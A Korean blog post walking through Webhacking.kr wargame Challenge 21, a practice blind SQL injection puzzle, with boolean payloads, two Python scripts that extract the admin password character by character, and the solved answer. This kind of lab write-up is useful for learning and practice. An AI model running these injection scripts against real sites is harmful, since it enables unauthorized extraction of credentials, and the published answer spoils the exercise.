티스토리 뷰

Wargame/Webhacking.kr

Challenge 21

do9dark 2015. 7. 12. 02:29


Blind SQL Injection 문제라고 명시가 되어 있고 입력을 할 수 있고 결과를 출력해주는 부분도 있다.



먼저 숫자 1을 Submit을 해보면 위 그림과 같이 Result: True라고 표시가 되고 숫자 2를 넣어도 마찬가지로 True가 표시된다.



숫자 3이나 -1과 같이 1, 2가 아닌 값을 Submit할 경우 Result: False라고 표시가 된다.

URL 값을 보면 파라미터로 no, id, pw가 있는 것을 알 수 있고 이 값들이 테이블의 컬럼명이라고 생각하고 아래와 같이 id의 길이를 알 수 있다.



no=1 and length(id)=4

를 넣을 경우에 False가 표시된다.



no=1 and length(id)=5

를 넣을 경우에는 True가 표시된다.


마찬가지로 pw도 길이를 구할 수 있다.

1%20and%20length(pw)=5 : True

2%20and%20length(pw)=19 : True


pw 길이 구하는 파이썬 코드

#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import urllib2
import time
 
session = "225b0794pin51g388pbvp9o7k3"
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
for len in xrange(0,30):
    query = "?no=2%20and%20length(pw)%20=%20" + str(len)
    req = urllib2.Request(url+query)
    req.add_header("Cookie","PHPSESSID="+session)
    if -1 != urllib2.urlopen(req).read().find("True"):
        print "length : " + str(len)
    time.sleep(0.1)
cs


no=1%20and%20id=concat(char(103,117,101,115,116)) : True (value: guest)

no=2%20and%20id=concat(char(97,100,109,105,110)) : True (value: admin)


no 

id 

pw 

1

guest

XXXXX (5글자)

2

admin 

XXXXXXXXXXXXXXXXXXX (19글자)


pw 값 구하는 파이썬 코드

#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import urllib2
import time
 
session = "225b0794pin51g388pbvp9o7k3"
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
 
for s in xrange(1,20):
    for char in xrange(0x20,0x7f):
        query = "?no=2%20and%20ascii(substr(pw,"+str(s)+",1))%20=%20"+str(char)
        req = urllib2.Request(url+query)
        req.add_header("Cookie","PHPSESSID="+session)
        if -1 != urllib2.urlopen(req).read().find("True"):
            print str(s) + " : "  + chr(char) +" ("+ hex(char) + ")"
        time.sleep(0.1)
cs


파이썬 코드를 이용하여 값을 구해보면 아래 표와 같다.

no 

id 

pw 

guest 

guest 

admin 

blindsqlinjectionkk 


admin의 pw 값을 인증하면 문제를 풀 수 있다.



'Wargame > Webhacking.kr' 카테고리의 다른 글

Challenge 26  (0) 2015.08.07
Challenge 25  (0) 2015.08.07
Challenge 24  (0) 2015.08.02
Challenge 23  (0) 2015.08.02
Challenge 22  (0) 2015.07.12
Challenge 20  (0) 2015.07.09
Challenge 19  (0) 2015.07.08
Challenge 18  (0) 2015.07.07
Challenge 17  (0) 2015.07.07
Challenge 16  (0) 2015.07.07
댓글
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
링크
공지사항
Total
Today
Yesterday